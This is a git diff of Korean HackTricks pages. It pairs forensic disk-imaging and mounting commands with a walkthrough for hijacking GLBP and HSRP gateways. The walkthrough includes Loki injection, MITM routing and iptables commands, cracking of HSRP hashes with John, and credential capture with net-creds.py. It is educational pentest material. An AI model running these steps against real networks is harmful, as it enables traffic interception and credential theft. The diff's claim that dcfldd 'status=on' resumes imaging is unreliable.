#### 중단 및 재개
|
||||
|
||||
dcfldd를 사용하여 이미지 획득 중에 중단된 경우, 다음과 같은 명령어를 사용하여 재개할 수 있습니다:
|
||||
|
||||
```
|
||||
dcfldd if=/dev/sda of=image.dd status=on
|
||||
```
|
||||
|
||||
위의 예시에서 `status=on`은 진행 상황을 보고하는 옵션입니다. 이를 통해 중단된 지점부터 이미지 획득을 재개할 수 있습니다.
|
||||
|
||||
#### 해시 값 계산
|
||||
|
||||
dcfldd를 사용하여 이미지 획득 시 입력 및 출력 파일의 해시 값을 계산하려면 다음과 같은 명령어를 사용합니다:
|
||||
|
||||
```
|
||||
dcfldd if=/dev/sda of=image.dd hash=md5,sha1
|
||||
```
|
||||
|
||||
위의 예시에서 `hash=md5,sha1`은 입력 및 출력 파일의 해시 값을 MD5와 SHA-1 알고리즘을 사용하여 계산하도록 지정한 것입니다.
|
||||
```bash
|
||||
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### FTK Imager
|
||||
### FTK 이미저
|
||||
|
||||
[**여기에서 FTK 이미저를 다운로드할 수 있습니다**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
[여기에서 FTK 이미저를 다운로드할 수 있습니다](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
### EWF
|
||||
|
||||
[**ewf 도구**](https://github.com/libyal/libewf)를 사용하여 디스크 이미지를 생성할 수 있습니다.
|
||||
[**ewf tools**](https://github.com/libyal/libewf)를 사용하여 디스크 이미지를 생성할 수 있습니다.
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
|
@ -82,11 +54,11 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## 마운트
|
||||
## Mount
|
||||
|
||||
### 여러 가지 유형
|
||||
### 여러 유형
|
||||
|
||||
**Windows**에서는 **포렌식 이미지를 마운트**하기 위해 Arsenal Image Mounter의 무료 버전([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/))를 사용해 볼 수 있습니다.
|
||||
**Windows**에서는 **포렌식 이미지를 마운트**하기 위해 무료 버전의 Arsenal Image Mounter([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/))를 사용해 볼 수 있습니다.
|
||||
|
||||
### Raw
|
||||
```bash
|
||||
|
@ -99,22 +71,7 @@ mount evidence.img /mnt
|
|||
```
|
||||
### EWF
|
||||
|
||||
EWF(Evidence File Format)는 디스크 이미지를 효율적으로 획득하고 분석하기 위한 형식입니다. EWF 형식은 디스크 이미지를 섹터 단위로 압축하여 저장하며, 압축된 이미지는 E01 확장자를 가집니다.
|
||||
|
||||
EWF 형식을 사용하여 이미지를 획득하려면 다음 단계를 따르십시오.
|
||||
|
||||
1. EWF 형식으로 이미지를 생성하기 위해 `ewfacquire` 도구를 사용합니다.
|
||||
2. 이미지를 저장할 위치와 파일 이름을 지정합니다.
|
||||
3. 획득할 디스크 또는 파티션을 선택합니다.
|
||||
4. 이미지 획득을 시작합니다.
|
||||
|
||||
이미지 획득이 완료되면, EWF 형식의 이미지를 마운트하여 분석할 수 있습니다. 마운트는 다음과 같은 단계로 수행됩니다.
|
||||
|
||||
1. `ewfmount` 도구를 사용하여 이미지를 마운트합니다.
|
||||
2. 마운트할 이미지 파일과 마운트할 디렉토리를 지정합니다.
|
||||
3. 마운트된 이미지를 탐색하고 분석합니다.
|
||||
|
||||
EWF 형식은 디스크 이미지 획득과 분석에 유용한 기능을 제공합니다. 이를 통해 디지털 포렌식 작업을 보다 효율적으로 수행할 수 있습니다.
|
||||
### EWF
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
|
@ -131,12 +88,12 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
```
|
||||
### ArsenalImageMounter
|
||||
|
||||
ArsenalImageMounter는 볼륨을 마운트하는 Windows 애플리케이션입니다. [여기](https://arsenalrecon.com/downloads/)에서 다운로드할 수 있습니다.
|
||||
Windows Application으로 볼륨을 마운트하는 데 사용됩니다. [여기](https://arsenalrecon.com/downloads/)에서 다운로드할 수 있습니다.
|
||||
|
||||
### 오류
|
||||
|
||||
* **`cannot mount /dev/loop0 read-only`** 이 경우에는 플래그 **`-o ro,norecovery`**를 사용해야 합니다.
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** 이 경우에는 마운트가 실패했으며 파일 시스템의 오프셋이 디스크 이미지와 다릅니다. 섹터 크기와 시작 섹터를 찾아야 합니다.
|
||||
* **`cannot mount /dev/loop0 read-only`** 이 경우에는 **`-o ro,norecovery`** 플래그를 사용해야 합니다.
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** 이 경우에는 파일 시스템의 오프셋이 디스크 이미지의 것과 다르기 때문에 마운트에 실패했습니다. 섹터 크기와 시작 섹터를 찾아야 합니다:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -149,18 +106,22 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
sector size가 **512**이고 시작 위치가 **2048**임을 유의하세요. 그런 다음 다음과 같이 이미지를 마운트하세요:
|
||||
섹터 크기가 **512**이고 시작 위치가 **2048**임을 유의하십시오. 그런 다음 이미지를 다음과 같이 마운트하십시오:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,61 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## FHRP Hijacking 개요
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
### FHRP에 대한 통찰력
|
||||
FHRP는 여러 라우터를 단일 가상 유닛으로 병합하여 네트워크의 견고성을 제공하기 위해 설계되었습니다. Cisco Systems은 GLBP 및 HSRP와 같은 중요한 프로토콜을 이 스위트에 도입했습니다.
|
||||
|
||||
### GLBP 프로토콜 통찰력
|
||||
Cisco의 창조물인 GLBP는 TCP/IP 스택에서 작동하며, 통신에는 UDP 포트 3222를 사용합니다. GLBP 그룹의 라우터는 3초 간격으로 "hello" 패킷을 교환합니다. 라우터가 이러한 패킷을 10초 동안 보내지 않으면 오프라인으로 간주됩니다. 그러나 이러한 타이머는 고정되어 있지 않으며 수정할 수 있습니다.
|
||||
## FHRP 해킹 개요
|
||||
|
||||
### FHRP 통찰
|
||||
FHRP는 여러 라우터를 하나의 가상 단위로 병합하여 네트워크 견고성을 제공하고 부하 분산 및 장애 허용성을 향상시키기 위해 설계되었습니다. Cisco Systems는 GLBP 및 HSRP와 같은 중요한 프로토콜을 이 스위트에 소개했습니다.
|
||||
|
||||
### GLBP 프로토콜 통찰
|
||||
Cisco의 창작물인 GLBP는 TCP/IP 스택에서 작동하며 통신에 UDP 포트 3222를 사용합니다. GLBP 그룹의 라우터는 3초 간격으로 "hello" 패킷을 교환합니다. 라우터가 이러한 패킷을 10초 동안 보내지 않으면 오프라인으로 간주됩니다. 그러나 이러한 타이머는 고정되어 있지 않고 수정할 수 있습니다.
|
||||
|
||||
### GLBP 작동 및 부하 분산
|
||||
GLBP는 단일 가상 IP와 여러 개의 가상 MAC 주소를 사용하여 라우터 간에 부하를 분산하는 기능으로 두드러집니다. GLBP 그룹에서 모든 라우터가 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 실제로 부하를 분산합니다.
|
||||
GLBP는 단일 가상 IP와 여러 가상 MAC 주소를 사용하여 라우터 간에 부하를 분산하는 기능으로 두드러집니다. GLBP 그룹에서 각 라우터는 패킷 전달에 참여합니다. HSRP/VRRP와 달리 GLBP는 다음과 같은 여러 메커니즘을 통해 실제 부하 분산을 제공합니다:
|
||||
|
||||
- **호스트 종속 부하 분산:** 호스트에 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 필수적입니다.
|
||||
- **라운드 로빈 부하 분산:** 기본 접근 방식으로, 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 수행합니다.
|
||||
- **가중치 기반 라운드 로빈 부하 분산:** 미리 정의된 "가중치" 메트릭을 기반으로 부하를 분산합니다.
|
||||
- **라운드 로빈 부하 분산:** 요청하는 호스트 사이에서 AVF MAC 주소 할당을 번갈아가며 사용하는 기본 접근 방식입니다.
|
||||
- **가중 라운드 로빈 부하 분산:** 미리 정의된 "가중치" 메트릭에 따라 부하를 분배합니다.
|
||||
|
||||
### GLBP의 주요 구성 요소 및 용어
|
||||
- **AVG (Active Virtual Gateway):** MAC 주소를 피어 라우터에 할당하는 주요 라우터입니다.
|
||||
- **AVG (Active Virtual Gateway):** MAC 주소를 동료 라우터에 할당하는 주요 라우터입니다.
|
||||
- **AVF (Active Virtual Forwarder):** 네트워크 트래픽을 관리하는 라우터입니다.
|
||||
- **GLBP 우선 순위:** AVG를 결정하는 메트릭으로, 기본값은 100이며 1에서 255 사이의 범위를 가집니다.
|
||||
- **GLBP 가중치:** 라우터의 현재 부하를 반영하며, 수동으로 또는 객체 추적을 통해 조정할 수 있습니다.
|
||||
- **GLBP 가상 IP 주소:** 모든 연결된 장치에 대한 네트워크의 기본 게이트웨이로 사용됩니다.
|
||||
- **GLBP 가중치:** 라우터의 현재 부하를 반영하며, 수동으로 조정하거나 Object Tracking을 통해 조정할 수 있습니다.
|
||||
- **GLBP 가상 IP 주소:** 모든 연결된 장치에 대한 네트워크의 기본 게이트웨이로 작동합니다.
|
||||
|
||||
GLBP는 상호 작용을 위해 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운영 상태로 간주됩니다.
|
||||
상호 작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 "hello" 패킷을 전송하며, 패킷이 10초 동안 누락되면 비운용 상태로 간주됩니다.
|
||||
|
||||
### GLBP 공격 메커니즘
|
||||
공격자는 우선 순위 값이 가장 높은 (255) GLBP 패킷을 보내어 주 라우터가 될 수 있습니다. 이로 인해 DoS 또는 MITM 공격이 발생하여 트래픽 가로채기 또는 리디렉션이 가능해집니다.
|
||||
공격자는 우선 순위 값이 가장 높은(255) GLBP 패킷을 보내어 주 라우터가 될 수 있습니다. 이로 인해 DoS 또는 MITM 공격이 발생할 수 있으며, 트래픽 가로채기 또는 리디렉션이 가능해집니다.
|
||||
|
||||
### Loki를 사용한 GLBP 공격 실행
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계에서는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 포함한 정보를 수집해야 합니다.
|
||||
[Loki](https://github.com/raizo62/loki_on_kali)는 우선 순위와 가중치가 255로 설정된 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계는 Wireshark와 같은 도구를 사용하여 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 수집하는 것입니다.
|
||||
|
||||
공격 단계:
|
||||
1. Promiscuous 모드로 전환하고 IP 포워딩을 활성화합니다.
|
||||
2. 대상 라우터를 식별하고 해당 IP를 검색합니다.
|
||||
3. 임의의 ARP를 생성합니다.
|
||||
4. AVG를 가장한 악성 GLBP 패킷을 주입합니다.
|
||||
5. 공격자의 네트워크 인터페이스에 GLBP 가상 IP와 동일한 보조 IP 주소를 할당합니다.
|
||||
3. Gratuitous ARP를 생성합니다.
|
||||
4. AVG를 흉내 내는 악의적인 GLBP 패킷을 주입합니다.
|
||||
5. 공격자의 네트워크 인터페이스에 GLBP 가상 IP를 반영하는 보조 IP 주소를 할당합니다.
|
||||
6. 완전한 트래픽 가시성을 위해 SNAT를 구현합니다.
|
||||
7. 원래 AVG 라우터를 통해 계속된 인터넷 액세스를 보장하기 위해 라우팅을 조정합니다.
|
||||
|
||||
이러한 단계를 따라 공격자는 네트워크 트래픽을 가로채고 분석할 수 있는 "중간자"로 자리 잡을 수 있으며, 이는 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로챌 수 있습니다.
|
||||
이러한 단계를 따라가면 공격자는 네트워크 트래픽을 가로채고 분석할 수 있는 "중간자"로 위치하게 됩니다. 이는 암호화되지 않거나 민감한 데이터를 포함한 네트워크 트래픽을 가로챌 수 있음을 의미합니다.
|
||||
|
||||
데모를 위해 필요한 명령어 일부는 다음과 같습니다:
|
||||
시연을 위해 필요한 명령어 스니펫은 다음과 같습니다:
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
@ -70,27 +74,25 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
트래픽 모니터링 및 가로채기는 net-creds.py 또는 유사한 도구를 사용하여 침해된 네트워크를 통해 흐르는 데이터를 캡처하고 분석하는 것으로 수행될 수 있습니다.
|
||||
### HSRP (Hot Standby Router/Redundancy Protocol)를 이용한 HSRP 하이재킹의 수동 설명과 명령어 세부 정보
|
||||
|
||||
### HSRP 하이재킹에 대한 수동 설명과 명령어 세부 정보
|
||||
#### HSRP 개요 (Hot Standby Router/Redundancy Protocol)
|
||||
HSRP는 네트워크 게이트웨이의 여분 시스템을 위한 Cisco 독점 프로토콜입니다. 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 단위로 구성할 수 있습니다. 이 논리적 단위는 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 우선순위 및 가중치와 같은 메트릭을 사용하는 대신 HSRP는 트래픽 관리를 위해 단일 활성 라우터에 의존합니다.
|
||||
|
||||
#### HSRP(Hot Standby Router/Redundancy Protocol) 개요
|
||||
HSRP는 Cisco의 프로프라이어터리 프로토콜로, 네트워크 게이트웨이의 장애 조치를 위해 설계되었습니다. 이 프로토콜은 여러 물리적 라우터를 공유 IP 주소를 가진 단일 논리적 유닛으로 구성할 수 있게 해줍니다. 이 논리적 유닛은 트래픽을 관리하는 주 라우터에 의해 관리됩니다. GLBP와 달리 HSRP는 로드 밸런싱을 위해 우선순위와 가중치와 같은 메트릭을 사용하지 않고, 단일 활성 라우터에 의존합니다.
|
||||
|
||||
#### HSRP에서의 역할과 용어
|
||||
- **HSRP 활성 라우터**: 트래픽 흐름을 관리하는 게이트웨이로 작동하는 장치입니다.
|
||||
- **HSRP 대기 라우터**: 활성 라우터가 실패할 경우 대체할 준비가 된 백업 라우터입니다.
|
||||
- **HSRP 그룹**: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터의 집합입니다.
|
||||
- **HSRP MAC 주소**: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소입니다.
|
||||
- **HSRP 가상 IP 주소**: HSRP 그룹의 가상 IP 주소로, 연결된 장치들의 기본 게이트웨이로 작동합니다.
|
||||
#### HSRP의 역할 및 용어
|
||||
- **HSRP 활성 라우터**: 트래픽 흐름을 관리하는 게이트웨이로 작동하는 장치.
|
||||
- **HSRP 대기 라우터**: 활성 라우터가 실패할 경우 대기하여 대체할 백업 라우터.
|
||||
- **HSRP 그룹**: 단일 견고한 가상 라우터를 형성하기 위해 협력하는 라우터 집합.
|
||||
- **HSRP MAC 주소**: HSRP 설정에서 논리적 라우터에 할당된 가상 MAC 주소.
|
||||
- **HSRP 가상 IP 주소**: 연결된 장치를 위한 기본 게이트웨이 역할을 하는 HSRP 그룹의 가상 IP 주소.
|
||||
|
||||
#### HSRP 버전
|
||||
HSRP는 HSRPv1과 HSRPv2 두 가지 버전으로 제공되며, 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조의 차이가 있습니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, 3초마다 Hello 패킷을 전송합니다. 10초 간격으로 패킷을 수신하지 못하면 라우터는 비활성으로 간주됩니다.
|
||||
HSRP에는 HSRPv1과 HSRPv2 두 가지 버전이 있으며 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조가 다릅니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 활용하며, Hello 패킷은 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 않으면 라우터는 비활성으로 간주됩니다.
|
||||
|
||||
#### HSRP 공격 메커니즘
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인계하는 것을 포함합니다. 이로 인해 Man-In-The-Middle (MITM) 공격이 발생할 수 있습니다. 공격 전 필수 단계로는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 Wireshark를 사용하여 트래픽 분석을 통해 수행할 수 있습니다.
|
||||
HSRP 공격은 최대 우선순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것을 포함합니다. 이는 중간자 공격을 유발할 수 있습니다. 필수적인 사전 공격 단계에는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 트래픽 분석을 위해 Wireshark를 사용하여 수행할 수 있습니다.
|
||||
|
||||
#### HSRP 인증 우회를 위한 단계
|
||||
#### HSRP 인증 우회 단계
|
||||
1. HSRP 데이터를 포함하는 네트워크 트래픽을 .pcap 파일로 저장합니다.
|
||||
```shell
|
||||
tcpdump -w hsrp_traffic.pcap
|
||||
|
@ -99,52 +101,33 @@ tcpdump -w hsrp_traffic.pcap
|
|||
```shell
|
||||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||||
```
|
||||
3. John the Ripper를 사용하여 MD5 해시를 크랙합니다.
|
||||
3. John the Ripper를 사용하여 MD5 해시를 해독합니다.
|
||||
```shell
|
||||
john --wordlist=mywordlist.txt hsrp_hashes
|
||||
```
|
||||
|
||||
**Loki를 사용한 HSRP 인젝션 실행**
|
||||
**Loki를 사용한 HSRP Injection 실행**
|
||||
|
||||
1. HSRP 광고를 식별하기 위해 Loki를 실행합니다.
|
||||
2. 네트워크 인터페이스를 promiscuous 모드로 설정하고 IP 포워딩을 활성화합니다.
|
||||
2. 네트워크 인터페이스를 Promiscuous 모드로 설정하고 IP 포워딩을 활성화합니다.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Loki를 사용하여 특정 라우터를 대상으로 설정하고 크랙된 HSRP 암호를 입력하며 활성 라우터를 위장하는 필요한 구성을 수행합니다.
|
||||
4. 활성 라우터 역할을 얻은 후, 네트워크 인터페이스와 IP 테이블을 구성하여 합법적인 트래픽을 가로챕니다.
|
||||
3. Loki를 사용하여 특정 라우터를 대상으로 설정하고 해독된 HSRP 암호를 입력하며 활성 라우터를 흉내내기 위한 필요한 구성을 수행합니다.
|
||||
4. 활성 라우터 역할을 얻은 후 네트워크 인터페이스 및 IP 테이블을 구성하여 합법적인 트래픽을 가로챕니다.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
5. 라우팅 테이블을 수정하여 트래픽을 이전의 활성 라우터를 통해 라우팅합니다.
|
||||
5. 라우팅 테이블을 수정하여 트래픽을 이전 활성 라우터를 통해 라우팅합니다.
|
||||
```shell
|
||||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
6. net-creds.py 또는 유사한 유틸리티를 사용하여 가로채힌 트래픽에서 자격 증명을 캡처합니다.
|
||||
6. 가로챈 트래픽에서 자격 증명을 캡처하기 위해 net-creds.py 또는 유사한 유틸리티를 사용합니다.
|
||||
```shell
|
||||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
이러한 단계를 실행하면 공격자는 GLBP 하이재킹과 유사한 방식으로 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 중복성 프로토콜의 취약성을 강조하며, 견고한 보안 조치의 필요성을 보여줍니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
이러한 단계를 실행하면 공격자가 GLBP 하이재킹과 유사한 방식으로 트래픽을 가로채고 조작할 수 있는 위치에 있게 됩니다. 이는 HSRP와 같은 여분 프로토콜의 취약성을 강조하며 견고한 보안 조치의 필요성을 강조합니다.
|
||||
|
|
|
@ -2,17 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
